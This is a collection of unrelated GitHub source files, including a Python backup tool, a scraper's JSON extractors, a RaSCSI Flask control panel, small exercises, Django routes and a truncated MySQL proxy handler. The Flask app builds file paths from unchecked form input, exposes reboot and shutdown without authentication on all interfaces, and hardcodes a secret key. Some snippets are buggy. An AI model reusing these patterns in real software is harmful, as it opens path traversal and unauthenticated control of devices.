os.path.isdir(dest)\n\n\nclass AmazonS3Store():\n    def __init__(self, config, driver = None):\n        # self.config = config\n        self.logger = logging.getLogger(__name__)\n        \n        if 'bucket' not in config:\n            raise Exception(\"'bucket' is required for amazons3 store\")\n        \n        self.prefix = 's3://' + config['bucket']\n        \n        if 'prefix' in config:\n            self.prefix = 's3://' + self.config['bucket'] + '/' + config['prefix']\n        \n        if driver == None:\n            driver = RcloneDriver(config)\n        \n        self.driver = driver\n    \n    def __get_destination(self, backup, version):\n        return os.path.join(self.prefix, version.strftime('%Y-%m-%d'), backup.get_name())\n    \n    def add(self, version, backup):\n        self.driver.sync(backup, self.__get_destination(backup, version))\n    \n    def remove(self, backup, version):\n        dest = self.__get_destination(backup, version)\n        if self.driver.exists(dest):\n            self.driver.remove(dest)\n\nclass FileSystemStore():\n    def __init__(self, config, driver = None):\n        self.config = config\n        self.logger = logging.getLogger(__name__)\n        \n        if 'path' not in config:\n            raise Exception(\"'path' is required for filesystem store\")\n        \n        if os.path.isdir(config['path']) == False:\n            raise Exception(\"%s is not a directory\" % config['path'])\n        \n        if not os.access(config['path'], os.W_OK | os.X_OK):\n            raise Exception(\"%s is not writeable\" % config['path'])\n        \n        if driver == None:\n            driver = RsyncDriver()\n        \n        self.driver = driver\n    \n    def __get_destination(self, backup, version):\n        return os.path.join(self.config['path'], version.strftime('%Y-%m-%d'), backup.get_name())\n    \n    def add(self, version, backup):\n        self.driver.sync(backup, self.__get_destination(backup, version))\n    \n    def remove(self, backup, version):\n        dest = self.__get_destination(backup, version)\n        if self.driver.exists(dest):\n            self.driver.remove(dest)\n\nclass Backup():\n    def __init__(self, config):\n        self.config = {'onerror': 'exception'}\n        self.config.update(config)\n        self.logger = logging.getLogger(__name__)\n        \n        if 'include' not in config:\n            raise \"'include' is missing for source %s\" % self.get_name()\n    \n    def get_name(self):\n        return self.config['name']\n    \n    @staticmethod\n    def replace_placeholder(match):\n        placeholder = match.group(1) or match.group(2)\n        \n        if placeholder in ['Y', 'm', 'd']:\n            return datetime.datetime.now().strftime('%' + placeholder)\n        elif placeholder == 'LATEST':\n            return 'LATEST'\n        else:\n            raise Exception(\"Invalid placeholder '%s'\" % placeholder)\n    \n    def handle_error(self, exception):\n        self.logger.error(str(exception))\n        print(self.config)\n        if self.config['onerror'] == 'alert':\n            # Send Alert\n            print('Send Alert')\n        elif self.config['onerror'] != 'continue':\n            raise exception\n    \n    def get_included_paths(self, driver):\n        include = []\n        now = datetime.datetime.now()\n        for path in self.config['include']:\n            path = re.sub('%([A-Za-z])|%\\{([A-Za-z])\\}+', Backup.replace_placeholder, path)\n            paths = glob.glob(path)\n            if not paths:\n                self.handle_error(Exception('Path not found %s' % path))\n            else:\n                for path in paths:\n                    self.logger.debug('Including path %s' % path)\n                include.extend(paths)\n        \n        return include\n    \n    def get_excluded_paths(self):\n        if 'exclude' in self.config:\n            return self.config['exclude']\n        else:\n            return []\n\n\nclass Manager():\n    def __init__(self, file, logger = None):\n        self.backups = []\n        self.destinations = []\n        \n        self.config = {\n            'log_file': './backup.log'\n        }\n        self.config.update(self.load_config(file))\n        self.init_logger()\n        self.logger = logger or logging.getLogger(__name__)\n        \n        self.obsolete = self.load_obsolete()\n        \n        for destination in self.config['destination']:\n            if destination['store'] == 'amazons3':\n                destination = AmazonS3Store(destination['options'])\n            elif destination['store'] == 'filesystem':\n                destination = FileSystemStore(destination['options'])\n            else:\n                raise Exception('Unsupported storage store - %s' % (destination['name']));\n            \n            self.destinations.append(destination)\n        \n        for source in self.config['source']:\n            backup = Backup(source)\n            \n            self.backups.append(backup)\n    \n    def init_logger(self, default_level=logging.DEBUG):\n        value = os.getenv('LOG_CFG', None)\n        \n        if value and os.path.exists(value):\n            path = value\n            with open(path, 'rt') as f:\n                config = yaml.safe_load(f.read())\n            logging.config.dictConfig(config)\n        elif 'logging' in self.config:\n            logging.config.dictConfig(self.config['logging'])\n        else:\n            logging.basicConfig(level=default_level)\n    \n    def load_config(self, file):\n        stream = open(file, \"r\")\n        config = yaml.safe_load(stream)\n\n        if config.get('extends'):\n            base = self.load_config(config['extends'])\n            del config['extends']\n            base.update(config)\n            config = base\n\n        return config\n    \n    def load_obsolete(self):\n        now = datetime.datetime.now()\n        dow = now.weekday()\n        obsolete = []\n        \n        if dow == 1:\n            date = now - timedelta(days=28)\n            if date.day > 7:\n                obsolete.append(date)\n            \n            date = now - timedelta(days=364)\n            if date.day <= 8 and date.month > 1:\n                obsolete.append(date)\n        else:\n            date = now - timedelta(days=7)\n            obsolete.append(date)\n        \n        return obsolete;\n    \n    def run(self):\n        version = datetime.datetime.now()\n        for backup in self.backups:\n            self.logger.info('Preparing to backup %s' % backup.get_name())\n            for destination in self.destinations:\n                try:\n                    destination.add(version, backup)\n                    for date in self.obsolete:\n                        destination.remove(backup, date)\n                except Exception as e:\n                    backup.handle_error(e)\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Process some integers.')\n    parser.add_argument('-c', '--config-file', help='config file', default='./config.yaml')\n    \n    args = parser.parse_args()\n\n    try:\n        manager = Manager(args.config_file)\n        manager.run()     \n    except Exception as e:\n       sys.exit( str(e))\n\n\n# if [ $DOW -eq 1 ]; then\n#     DATE_DAY=$(date -d \"-28 days\" +\"%d\")\n#     if [ $DATE_DAY -gt 7 ]; then\n#         DATE=$(date -d \"-28 days\" +\"%Y-%m-%d\")\n#         delete $DATE\n#     fi\n#\n#     DATE_DAY=$(date -d \"-364 days\" +\"%d\")\n#     DATE_MONTH=$(date -d \"-364 days\" +\"%m\")\n#     if [ $DATE_DAY -le 7 ] && [ $DATE_MONTH -gt 1 ]; then\n#         DATE=$(date -d \"-364 days\" +\"%Y-%m-%d\")\n#         delete $DATE\n#     fi\n# else\n#     DATE=$(date -d \"-7 days\" +\"%Y-%m-%d\")\n#     echo $DATE\n#     delete $DATE\n# fi\n\n","repo_name":"Ennexa/s3-backup","sub_path":"backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":12660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38402801257","text":"import os\nimport socket\n\ndef get_host_ip():\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.connect(('8.8.8.8', 80))\n        ip = s.getsockname()[0]\n    finally:\n        s.close()\n\n    return ip\n\nIP = get_host_ip()\nstart = 50001\nend = 50101\nprint('bash killcmd.sh %s %s' % (str(start), str(end)))\nos.system('bash killcmd.sh %s %s' % (str(start), str(end)))\nos.system('bash clean.sh')\nos.system('screen -ls')","repo_name":"xuyangm/TORR","sub_path":"terminate_single_machine.py","file_name":"terminate_single_machine.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74641149861","text":"def extract_oferta_from_json(jsondata):\n\n    def is_oferta(jsondata):\n        body = jsondata['props']['pageProps']\n        if 'ad' in body.keys():\n            return True\n        else:\n            return False\n\n    def is_lift():\n        try:\n            return [x['values'][0].replace(':',\"\") for x in ad['additionalInformation'] if x['label']=='lift'][0]\n        except:\n            return 'n'\n        \n    chk_is_oferta = is_oferta(jsondata)\n\n    body=jsondata['props']['pageProps']\n\n    info = {'userSessionId':body['userSessionId'],'isBotDetected':body['isBotDetected']}\n\n    if not chk_is_oferta:\n        return {'is_oferta':chk_is_oferta,'info':info,'data':None}\n\n    ad = body['ad']\n\n    main={'id':ad['id'],\n    'publicId':ad['publicId'],\n    'advertType':ad['advertType'],\n    'createdAt':ad['createdAt'],\n    'modifiedAt':ad['modifiedAt'],\n    'description':ad['description'],\n    'exclusiveOffer':ad['exclusiveOffer'],\n    'externalId':ad['externalId'],\n    'features':','.join(ad['features']),\n    'title':ad['title'],\n    'agency':ad['agency']['name'] if ad['agency'] else '',\n    'adCategoryname':ad['adCategory']['name'],\n    'adCategorytype':ad['adCategory']['type'],\n    'latitude':ad['location']['coordinates'].get('latitude'),\n    'longitude':ad['location']['coordinates'].get('longitude'),\n    'cityname':ad['location']['address']['city']['name'] if ad['location']['address']['city'] else '',\n    'districtname':ad['location']['address']['district']['name'] if ad['location']['address']['district'] else '',\n    'streetname':ad['location']['address']['street']['name'] if ad['location']['address']['street'] else '',\n    'number':ad['location']['address']['street']['number'] if ad['location']['address']['street'] else '',\n    # 'rent':ad['property']['rent']['value'] if ((ad.get('property'))and(ad['property'].get('rent'))) else '',\n    'costs':','.join(ad['property']['costs']) if ((ad.get('property'))and(ad['property'].get('costs'))) else '',\n    'condition':ad['property']['condition'] if ((ad.get('property'))and(ad['property'].get('condition'))) else '',\n    'ownership':ad['property']['ownership'] if ((ad.get('property'))and(ad['property'].get('ownership'))) else '',\n    'ownername':ad['owner']['name'],\n    'phones':','.join(ad['owner']['phones']),\n    'images':','.join([x['medium'] for x in ad['images']]),\n    'Area':ad['target']['Area'],\n    'Building_floors_num':ad['target']['Building_floors_num'] if ad['target'].get('Building_floors_num') else '',\n    'Building_type':','.join(ad['target']['Building_type']) if ad['target'].get('Building_type') else '',\n    'Building_material':','.join(ad['target']['Building_material']) if ad['target'].get('Building_material') else '',\n    'Build_year':ad['target']['Build_year'] if ad['target'].get('Build_year') else '',\n    'Deposit':ad['target']['Deposit'] if ad['target'].get('Deposit') else '',\n    'Construction_status':','.join(ad['target']['Construction_status']) if ad['target'].get('Construction_status') else '',\n    'Extras_types':','.join(ad['target']['Extras_types']) if ad['target'].get('Extras_types') else '',\n    'Equipment_types':','.join(ad['target']['Equipment_types']) if ad['target'].get('Equipment_types') else '',\n    'Floor_no':','.join(ad['target']['Floor_no']) if ad['target'].get('Floor_no') else '',\n    'Heating':','.join(ad['target']['Heating']) if ad['target'].get('Heating') else '',\n    'MarketType':ad['target']['MarketType'] if ad['target'].get('MarketType') else '',\n    'OfferType':ad['target']['OfferType'],\n    'Price':ad['target']['Price'] if ad['target'].get('Price') else '',\n    'rent':ad['target']['Rent'] if ad['target'].get('Rent') else '',\n    'ProperType':ad['target']['ProperType'],\n    'Rooms_num':','.join(ad['target']['Rooms_num']) if ad['target'].get('Rooms_num') else '',\n    'Windows_type':','.join(ad['target']['Windows_type']) if ad['target'].get('Windows_type') else '',\n    'Lift':is_lift()}\n\n    if ad['location'].get('reverseGeocoding'):\n        geo={k:v for k,v in [(x['locationLevel'],x['name']) for x in ad['location']['reverseGeocoding']['locations']]}\n        main.update(geo)\n\n    return {'is_oferta':chk_is_oferta,'info':info,'data':main}\n\ndef extract_ads_from_json(jsondata):\n\n    body=jsondata['props']['pageProps']\n    ads = body['data']['searchAds']\n\n    info = {'userSessionId':body['userSessionId'],'isBotDetected':body['isBotDetected']}\n    pagination={\n        'totalResults':ads['pagination']['totalResults'], \n        'itemsPerPage':ads['pagination']['itemsPerPage'], \n        'page':ads['pagination']['page'], \n        'totalPages':ads['pagination']['totalPages']}\n\n    data_list =[]\n    for item in ads['items']:\n\n        main={'id':item['id'],\n            'title':item['title'],\n            'slug':item['slug'],\n            'estate':item['estate'],\n            'developmentId':item['developmentId'],\n            'transaction':item['transaction'],\n            'isPrivateOwner':item['isPrivateOwner'],\n            'agency':item['agency']['name'] if item.get('agency') else '',\n            'totalPrice':item['totalPrice']['value'] if item.get('totalPrice') else '',\n            'rentPrice':item['rentPrice']['value'] if item.get('rentPrice') else '',\n            'areaInSquareMeters':item['areaInSquareMeters'],\n            'roomsNumber':item['roomsNumber'],\n            'peoplePerRoom':item['peoplePerRoom'],\n            'dateCreated':item['dateCreated'],\n            'dateCreatedFirst':item['dateCreatedFirst'],\n            'pushedUpAt':item['pushedUpAt'], \n\n            'latitude':item['location']['coordinates'].get('latitude') if item['location'].get('coordinates') else '',\n            'longitude':item['location']['coordinates'].get('longitude') if item['location'].get('coordinates') else '',\n            'cityname':item['location']['address']['city']['name'] if item['location']['address']['city'] else '',\n            'districtname':item['location']['address']['district']['name'] if item['location']['address'].get('district') else '',\n            'streetname':item['location']['address']['street']['name'] if item['location']['address']['street'] else '',\n            'number':item['location']['address']['street']['number'] if item['location']['address']['street'] else '',\n            'geo':item['location']['reverseGeocoding']['locations'][-1]['fullName'] if item['location']['reverseGeocoding'].get('locations') else '',\n        }\n        \n        data_list.append(main)\n\n    return {'pagination':pagination,'info':info,'data_list':data_list}","repo_name":"krawczyk071/data-scrap","sub_path":"selenium/myClass/jsonextractors.py","file_name":"jsonextractors.py","file_ext":"py","file_size_in_byte":6517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26605373170","text":"from flask import Flask, render_template, request, flash, url_for, redirect, send_file\nfrom werkzeug.utils import secure_filename\n\nfrom file_cmds import (\n    create_new_image,\n    download_file_to_iso,\n    delete_image,\n    unzip_file,\n    download_image,\n)\nfrom pi_cmds import shutdown_pi, reboot_pi, running_version, rascsi_service\nfrom ractl_cmds import (\n    attach_image,\n    list_devices,\n    is_active,\n    list_files,\n    detach_by_id,\n    eject_by_id,\n    get_valid_scsi_ids,\n    attach_daynaport,\n    is_bridge_setup,\n    daynaport_setup_bridge,\n    list_config_files,\n    detach_all,\n)\nfrom settings import *\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n    devices = list_devices()\n    scsi_ids = get_valid_scsi_ids(devices)\n    return render_template(\n        \"index.html\",\n        bridge_configured=is_bridge_setup(\"eth0\"),\n        devices=devices,\n        active=is_active(),\n        files=list_files(),\n        config_files=list_config_files(),\n        base_dir=base_dir,\n        scsi_ids=scsi_ids,\n        max_file_size=MAX_FILE_SIZE,\n        version=running_version(),\n    )\n\n\n@app.route(\"/config/save\", methods=[\"POST\"])\ndef config_save():\n    file_name = request.form.get(\"name\") or \"default\"\n    file_name = f\"{base_dir}{file_name}.csv\"\n    import csv\n\n    with open(file_name, \"w\") as csv_file:\n        writer = csv.writer(csv_file)\n        for device in list_devices():\n            if device[\"type\"] is not \"-\":\n                writer.writerow(device.values())\n    flash(f\"Saved config to  {file_name}!\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/config/load\", methods=[\"POST\"])\ndef config_load():\n    file_name = request.form.get(\"name\") or \"default.csv\"\n    file_name = f\"{base_dir}{file_name}\"\n    detach_all()\n    import csv\n\n    with open(file_name) as csv_file:\n        config_reader = csv.reader(csv_file)\n        for row in config_reader:\n            image_name = row[3].replace(\"(WRITEPROTECT)\", \"\")\n            attach_image(row[0], image_name, row[2])\n    flash(f\"Loaded config from  {file_name}!\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/logs\")\ndef logs():\n    import subprocess\n\n    lines = request.args.get(\"lines\") or \"100\"\n    process = subprocess.run([\"journalctl\", \"-n\", lines], capture_output=True)\n\n    if process.returncode == 0:\n        headers = {\"content-type\": \"text/plain\"}\n        return process.stdout.decode(\"utf-8\"), 200, headers\n    else:\n        flash(\"Failed to get logs\")\n        flash(process.stdout.decode(\"utf-8\"), \"stdout\")\n        flash(process.stderr.decode(\"utf-8\"), \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/daynaport/attach\", methods=[\"POST\"])\ndef daynaport_attach():\n    scsi_id = request.form.get(\"scsi_id\")\n    process = attach_daynaport(scsi_id)\n    if process.returncode == 0:\n        flash(f\"Attached DaynaPORT to SCSI id {scsi_id}!\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(f\"Failed to attach DaynaPORT to SCSI id {scsi_id}!\", \"error\")\n        flash(process.stdout.decode(\"utf-8\"), \"stdout\")\n        flash(process.stderr.decode(\"utf-8\"), \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/daynaport/setup\", methods=[\"POST\"])\ndef daynaport_setup():\n    # Future use for wifi\n    interface = request.form.get(\"interface\") or \"eth0\"\n    process = daynaport_setup_bridge(interface)\n    if process.returncode == 0:\n        flash(f\"Configured DaynaPORT bridge on {interface}!\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(f\"Failed to configure DaynaPORT bridge on {interface}!\", \"error\")\n        flash(process.stdout.decode(\"utf-8\"), \"stdout\")\n        flash(process.stderr.decode(\"utf-8\"), \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/scsi/attach\", methods=[\"POST\"])\ndef attach():\n    file_name = request.form.get(\"file_name\")\n    scsi_id = request.form.get(\"scsi_id\")\n\n    # Validate image type by suffix\n    if file_name.lower().endswith(\".iso\") or file_name.lower().endswith(\"iso\"):\n        image_type = \"cd\"\n    elif file_name.lower().endswith(\".hda\"):\n        image_type = \"hd\"\n    else:\n        flash(\"Unknown file type. Valid files are .iso, .hda, .cdr\", \"error\")\n        return redirect(url_for(\"index\"))\n\n    process = attach_image(scsi_id, file_name, image_type)\n    if process.returncode == 0:\n        flash(f\"Attached {file_name} to SCSI id {scsi_id}!\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(f\"Failed to attach {file_name} to SCSI id {scsi_id}!\", \"error\")\n        flash(process.stdout.decode(\"utf-8\"), \"stdout\")\n        flash(process.stderr.decode(\"utf-8\"), \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/scsi/detach_all\", methods=[\"POST\"])\ndef detach_all_devices():\n    detach_all()\n    flash(\"Detached all SCSI devices!\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/scsi/detach\", methods=[\"POST\"])\ndef detach():\n    scsi_id = request.form.get(\"scsi_id\")\n    process = detach_by_id(scsi_id)\n    if process.returncode == 0:\n        flash(\"Detached SCSI id \" + scsi_id + \"!\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(\"Failed to detach SCSI id \" + scsi_id + \"!\", \"error\")\n        flash(process.stdout, \"stdout\")\n        flash(process.stderr, \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/scsi/eject\", methods=[\"POST\"])\ndef eject():\n    scsi_id = request.form.get(\"scsi_id\")\n    process = eject_by_id(scsi_id)\n    if process.returncode == 0:\n        flash(\"Ejected scsi id \" + scsi_id + \"!\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(\"Failed to eject SCSI id \" + scsi_id + \"!\", \"error\")\n        flash(process.stdout, \"stdout\")\n        flash(process.stderr, \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/pi/reboot\", methods=[\"POST\"])\ndef restart():\n    reboot_pi()\n    flash(\"Restarting...\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/rascsi/restart\", methods=[\"POST\"])\ndef rascsi_restart():\n    rascsi_service(\"restart\")\n    flash(\"Restarting RaSCSI Service...\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/pi/shutdown\", methods=[\"POST\"])\ndef shutdown():\n    shutdown_pi()\n    flash(\"Shutting down...\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/files/download_to_iso\", methods=[\"POST\"])\ndef download_file():\n    scsi_id = request.form.get(\"scsi_id\")\n    url = request.form.get(\"url\")\n    process = download_file_to_iso(scsi_id, url)\n    if process.returncode == 0:\n        flash(\"File Downloaded\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(\"Failed to download file\", \"error\")\n        flash(process.stdout, \"stdout\")\n        flash(process.stderr, \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/files/download_image\", methods=[\"POST\"])\ndef download_img():\n    url = request.form.get(\"url\")\n    # TODO: error handling\n    download_image(url)\n    flash(\"File Downloaded\")\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/files/upload\", methods=[\"POST\"])\ndef upload_file():\n    if \"file\" not in request.files:\n        flash(\"No file part\", \"error\")\n        return redirect(url_for(\"index\"))\n    file = request.files[\"file\"]\n    if file:\n        filename = secure_filename(file.filename)\n        file.save(os.path.join(app.config[\"UPLOAD_FOLDER\"], filename))\n        return redirect(url_for(\"index\", filename=filename))\n\n\n@app.route(\"/files/create\", methods=[\"POST\"])\ndef create_file():\n    file_name = request.form.get(\"file_name\")\n    size = request.form.get(\"size\")\n    type = request.form.get(\"type\")\n\n    process = create_new_image(file_name, type, size)\n    if process.returncode == 0:\n        flash(\"Drive created\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(\"Failed to create file\", \"error\")\n        flash(process.stdout, \"stdout\")\n        flash(process.stderr, \"stderr\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/files/download\", methods=[\"POST\"])\ndef download():\n    image = request.form.get(\"image\")\n    return send_file(base_dir + image, as_attachment=True)\n\n\n@app.route(\"/files/delete\", methods=[\"POST\"])\ndef delete():\n    image = request.form.get(\"image\")\n    if delete_image(image):\n        flash(\"File \" + image + \" deleted\")\n        return redirect(url_for(\"index\"))\n    else:\n        flash(\"Failed to Delete \" + image, \"error\")\n        return redirect(url_for(\"index\"))\n\n\n@app.route(\"/files/unzip\", methods=[\"POST\"])\ndef unzip():\n    image = request.form.get(\"image\")\n\n    if unzip_file(image):\n        flash(\"Unzipped file \" + image)\n        return redirect(url_for(\"index\"))\n    else:\n        flash(\"Failed to unzip \" + image, \"error\")\n        return redirect(url_for(\"index\"))\n\n\nif __name__ == \"__main__\":\n    app.secret_key = \"rascsi_is_awesome_insecure_secret_key\"\n    app.config[\"SESSION_TYPE\"] = \"filesystem\"\n    app.config[\"UPLOAD_FOLDER\"] = base_dir\n    os.makedirs(app.config[\"UPLOAD_FOLDER\"], exist_ok=True)\n    app.config[\"MAX_CONTENT_LENGTH\"] = MAX_FILE_SIZE\n\n    from waitress import serve\n\n    serve(app, host=\"0.0.0.0\", port=8080)\n","repo_name":"chickeneps/RASCSI","sub_path":"src/web/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":9043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"33849346685","text":"'''\nCreated on 2015. 10. 8.\n\n@author: JunKim\n'''\n\ndef removeDuplicates(word):\n    previous_character, compressed_word = '', ''\n    for character in word:\n        if character.lower() != previous_character.lower():\n            compressed_word += character\n            previous_character = character\n    return compressed_word\n\ndef removeVowels(word):\n\n    if not word:\n        return ''\n    vowels, compressed_word = 'aeiou', word[0]\n\n    for character in word[1:]:\n        if character.lower() not in vowels:\n            compressed_word += character\n    return compressed_word\n \ndef txtWord(word):\n    \n    return removeVowels(removeDuplicates(word))\n\ndef txtSentence(sentence):\n    word, compressed_sentence = '', ''\n    \n    for character in sentence:\n        if character.isalpha():\n            word += character\n        else:\n            if word:\n                compressed_sentence += txtWord(word) \n                word = ''\n            compressed_sentence += character\n            return compressed_sentence\n    if word:\n        compressed_sentence += txtWord(word)\n    return compressed_sentence\n\nprint(removeDuplicates('bookkeeper'))\nprint(removeDuplicates('Aardvark'))\nprint(removeDuplicates('Aardvark'))\nprint(removeVowels('bookkeeper'))\nprint(removeVowels('Aardvark'))\nprint(removeVowels('eELGRASS'))\nprint(txtWord('Some'))\nprint(txtWord('people'))\nprint(txtWord('compress'))\nprint(txtWord('text'))\nprint(txtWord('messages'))\nprint(txtSentence('And now for something completely different!'))\nprint(txtSentence('Some people compress text messages by replacing doubled letters with single letters and by retaining only those vowels that begin a word.'))","repo_name":"isk02206/python","sub_path":"informatics/previous/ex_python_by.JunKim/Seungjun_PY/series_05/SMS_language.py","file_name":"SMS_language.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72769724581","text":"from django.urls import path\n\nfrom main.views import *\n\napp_name = 'main'\n\nurlpatterns = [\n    path('', index, name='index'),\n    path('hot/', hot, name='hot'),\n    path('ask/', ask, name='ask'),\n    path('question/<int:id>/', question, name='question'),\n    path('question/<int:id>/answer/new/', answer, name='answer'),\n    path('tag/<int:id>/', tag, name='tag'),\n    path('profile/edit/', profile_edit, name='profile_edit'),\n    path('login/', login, name='login'),\n    path('signup/', signup, name='signup'),\n    path('logout/', logout, name='logout'),\n]\n","repo_name":"kirill555101/django-forum","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"74219006501","text":"import sys\nfrom collections import deque\nsys.stdin = open(\"input.txt\", \"r\")\ninput = sys.stdin.readline\n\nif __name__ == \"__main__\":\n    n, k = map(int, input().split())\n    dq = deque(list(range(1, n+1)))\n    cnt = 0\n    print('<', end = '')\n    while len(dq) > 1:\n        cnt += 1\n        if cnt < k:\n            dq.append(dq.popleft())\n        else:\n            print(dq.popleft(), end = ', ')\n            cnt = 0\n    print(str(dq.popleft())+'>')","repo_name":"JangJaeuk/BOJ","sub_path":"BOJ/SILVER/5/요세푸스 문제 0/11866.py","file_name":"11866.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27833530211","text":"\"\"\"\nClient to server command handling\n\"\"\"\nfrom mysqlproxy.packet import ERRPacket, OKPacket, EOFPacket\nfrom mysqlproxy.query_response import ResultSetText, ResultSetRowText, \\\n    ResultSetBinary, ResultSetRowBinary, ColumnDefinition\nfrom mysqlproxy import column_types\nimport sys\nimport socket\nfrom StringIO import StringIO\nfrom datetime import datetime\nfrom pymysql import err\nfrom pymysql.cursors import DictCursor\nimport logging\nimport re\n\n_LOG = logging.getLogger(__name__)\n\nCOMMAND_CODES = {\n    0x01: ('quit', 'cli_command_quit'),\n    0x02: ('init_db', 'cli_change_db'),\n    0x03: ('query', 'cli_command_query'),\n    0x04: ('field_list', 'cli_command_field_list'),\n    0x05: ('create_db', 'unsupported_client_command'),\n    0x06: ('drop_db', 'unsupported_client_command'),\n    0x07: ('refresh', 'unsupported_client_command'),\n    0x08: ('shutdown', 'unsupported_client_command'),\n    0x09: ('statistics', 'unsupported_client_command'),\n    0x0a: ('process_info', 'unsupported_client_command'),\n    0x0b: ('connect', 'unsupported_client_command'), # internal\n    0x0c: ('kill', 'unsupported_client_command'),\n    0x0d: ('debug', 'unsupported_client_command'),\n    0x0e: ('ping', 'cli_command_ping'),\n    0x0f: ('time', 'unsupported_client_command'), # internal\n    0x10: ('delayed_insert', 'unsupported_client_command'), # internal\n    0x11: ('change_user', 'unsupported_client_command'),\n    0x16: ('stmt_prepare', 'unsupported_client_command'),\n    0x17: ('stmt_execute', 'unsupported_client_command'),\n    0x18: ('stmt_send_long_data', 'unsupported_client_command'),\n    0x19: ('stmt_close', 'unsupported_client_command'),\n    0x19: ('stmt_reset', 'unsupported_client_command'),\n    0x1f: ('reset_connection', 'unsupported_client_command'),\n    0x1d: ('daemon', 'unsupported_client_command'), # internal\n}\n\ndef cli_command_ping(session_obj, pkt, code):\n    session_obj.send_payload(\n        OKPacket(\n            session_obj.client_capabilities,\n            0, 0, seq_id=1, info=u'PONG'\n            )\n        )\n    return True\n\ndef unsupported_client_command(session_obj, pkt, code):\n    command_name = COMMAND_CODES[code][0]\n    session_obj.send_payload(\n        ERRPacket(\n            session_obj.client_capabilities,\n            error_code=9990,\n            error_msg=u'The command \"%s\" is unsupported by mysqlproxy' % command_name,\n            seq_id=1\n        ))\n    return True\n\n\ndef unknown_cli_command(session, pkt_data, code):\n    session.send_payload(ERRPacket(\n        session.client_capabilities, \\\n                error_code=9997, error_msg='Unimplemented command (%d)' % code, seq_id=1))\n    return True\n\n\ndef handle_client_command(session, cmd_packet_data):\n    \"\"\"\n    Send response based on command given.\n    Return true if server should continue, false if it \n    should disconnect.\n    \"\"\"\n    if len(cmd_packet_data) == 0:\n        raise ValueError('no command data')\n    cli_command = ord(cmd_packet_data[0])\n    if cli_command not in COMMAND_CODES:\n        _LOG.debug('Received command code %x', cli_command)\n        session.send_payload(ERRPacket(\n            session.client_capabilities, \\\n                    error_code=9999, error_msg='Wait what?', seq_id=1))\n        return True\n\n    command_name, command_fn_name = COMMAND_CODES[cli_command]\n    _LOG.debug('Received command code %x (%s)' % \\\n            (cli_command, command_fn_name))\n    command_fn = globals().get(command_fn_name, unknown_cli_command)\n    return command_fn(session, cmd_packet_data[1:], cli_command)\n\n\ndef cli_change_db(session_obj, pkt_data, code):\n    schema_name = pkt_data\n    response = session_obj.proxy_obj.change_db(schema_name)\n    session_obj.send_payload(response)\n    return True\n\n\ndef cli_command_quit(session, pkt_data, code):\n    try:\n        session.send_payload(OKPacket(\n            session.client_capabilities, \\\n            0, 0, seq_id=1, info='no please come back :('))\n    except socket.error:\n        pass # the hell with it.  Some clients close prematurely anyway.\n    return False\n\n\ndef cli_command_query(session_obj, pkt_data, code):\n    query = pkt_data\n    _LOG.debug('Got query command: %s' % query)\n    if query.lower() == 'select @@version_comment limit 1':\n        # intercept the MySQL client getting version info, replace with our own\n        response = ResultSetText(session_obj.client_capabilities,\n            flags=session_obj.server_status)\n        col_name = u'@@version_comment'\n        row_val = u'mysqlproxy-0.1'\n        response.add_column(col_name, column_types.VAR_STRING, len(row_val))\n        response.add_row([row_val])\n    else:\n        proxy = session_obj.proxy_obj\n        plugin_continue, plugin_ret = proxy.plugins.call_hooks('com_query',\n            query, session_obj)\n        if plugin_continue:\n            response = proxy.build_response_from_query(query)\n        else:\n            response = plugin_ret\n    session_obj.send_payload(response)\n    return True\n\n\ndef cli_command_field_list(session_obj, pkt_data, code):\n    table_name, wildcard = pkt_data.split('\\x00')[:2]\n    if not re.match(r'^[a-zA-Z0-9_]+', table_name):\n        session_obj.send_payload(ERRPacket(\n            session_obj.client_capabilities, 1049,\n            u'Invalid table name', seq_id=1))\n        return True\n\n    if not re.match(r'^[a-zA-Z0-9_%]+', table_name):\n        session_obj.send_payload(ERRPacket(\n            session_obj.client_capabilities, 1049,\n            u'Invalid wildcard', seq_id=1))\n        return True\n\n    cli_con = 